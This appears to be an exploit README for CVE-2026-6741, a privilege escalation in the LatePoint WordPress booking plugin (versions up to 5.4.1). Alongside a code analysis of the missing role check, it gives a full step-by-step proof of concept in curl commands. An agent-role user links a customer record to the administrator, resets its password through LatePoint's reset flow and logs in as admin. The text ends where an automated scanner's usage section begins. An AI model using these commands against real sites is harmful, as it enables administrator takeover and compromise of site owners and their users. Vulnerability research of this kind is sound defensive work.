CVE-2026-6741

CVE-2026-6741 is a CVSS 8.8 (High) Authenticated (Agent+) Privilege Escalation vulnerability in the LatePoint – Calendar Booking Plugin

CVE-2026-6741 — LatePoint Privilege Escalation Scanner

Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (latepoint) CVE ID: CVE-2026-6741 CVSS Score: 8.8 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Authenticated (Agent+) Privilege Escalation → Administrator Takeover Affected Versions: <= 5.4.1 Patched Version: 5.4.2 Disclosure Date: April 27, 2026 Researchers: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence

---

📌 About the Vulnerability

An authenticated attacker with the latepoint_agent role can link any LatePoint customer record to a WordPress administrator account, and then use LatePoint's own password reset flow to change the administrator's password.

This results in full site takeover.

---

🔍 Vulnerability Summary

Field	Value
Plugin Name	LatePoint – Calendar Booking Plugin
Plugin Slug	latepoint
CVE ID	CVE-2026-6741
CVSS Score	8.8 (High)
Vulnerability Type	Authenticated (Agent+) Privilege Escalation
Affected Version	<= 5.4.1
Patched Version	5.4.2
Prerequisite	latepoint_agent role, WordPress 6.9+

---

⚙️ Technical Analysis

WordPress Abilities API

LatePoint 5.3.0 added support for the Abilities API introduced in WordPress 6.9+. This API allows plugins to register "ability" classes that can be called via the REST API:

// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

---

Vulnerable Code Path

1 — Ability Definition (Missing Role Check)

// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← only control: this capability
}

The Agent role has customer__edit capability by default:

// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent has this capability
        ...
    ];
}

2 — execute() — No Role Check

// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Only checks if the user exists
        // MISSING: No role check on the target user
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← link to any WP user
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — Password Reset Chain

// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id is now admin ID → admin password changes
    }
}

---

Why Existing Checks Are Insufficient?

// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Only checks the CALLER's capability
    // Does NOT check the TARGET user's role
}

---

🔴 Attack Chain

latepoint_agent account
        │
        ▼
1. Login as Agent to WP → get REST nonce
        │
        ▼
2. Identify target admin WordPress user ID
   (wp-json/wp/v2/users or ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → No role check → Successful
        │
        ▼
4. LatePoint forgot_password → reset token sent to customer email
        │
        ▼
5. change_password with token → calls update_password()
   → wp_set_password("Hacked!", 1)
   → Admin password changed
        │
        ▼
6. Login as admin with new password → Full site control ✓

---

🧪 Proof of Concept (Manual)

⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites:

• WordPress 6.9+ (Abilities API required)
• LatePoint <= 5.4.1 installed and active
• Account with latepoint_agent role
• A controlled LatePoint customer record

---

Step 1 — Agent Login + REST Nonce

WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie-based login
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# Get REST nonce
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

---

Step 2 — Identify Admin User ID

# List admin users via REST API
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Usually ID=1

---

Step 3 — Link Customer to Admin (Vulnerability)

CUSTOMER_ID=5   # Your controlled LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

Expected response:

{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

---

Step 4 — Initiate Password Reset

CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint sends a reset email containing an account_nonce token to $CUSTOMER_EMAIL.

---

Step 5 — Change Password

RESET_TOKEN="<token_from_email>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

This call triggers the update_password() → wp_set_password($NEW_PASSWORD, 1) chain. Admin password changed.

---

Step 6 — Login as Admin

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

---

Verification

# Access wp-admin
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Expected: 200 OK (not redirected to wp-login.php)

# Verify role via REST API
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Expected: "roles": ["administrator"]

---

🛠️ Automated Scanner

Installation

git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

requests

---

🚀 Usage

Single Target — Fully Automated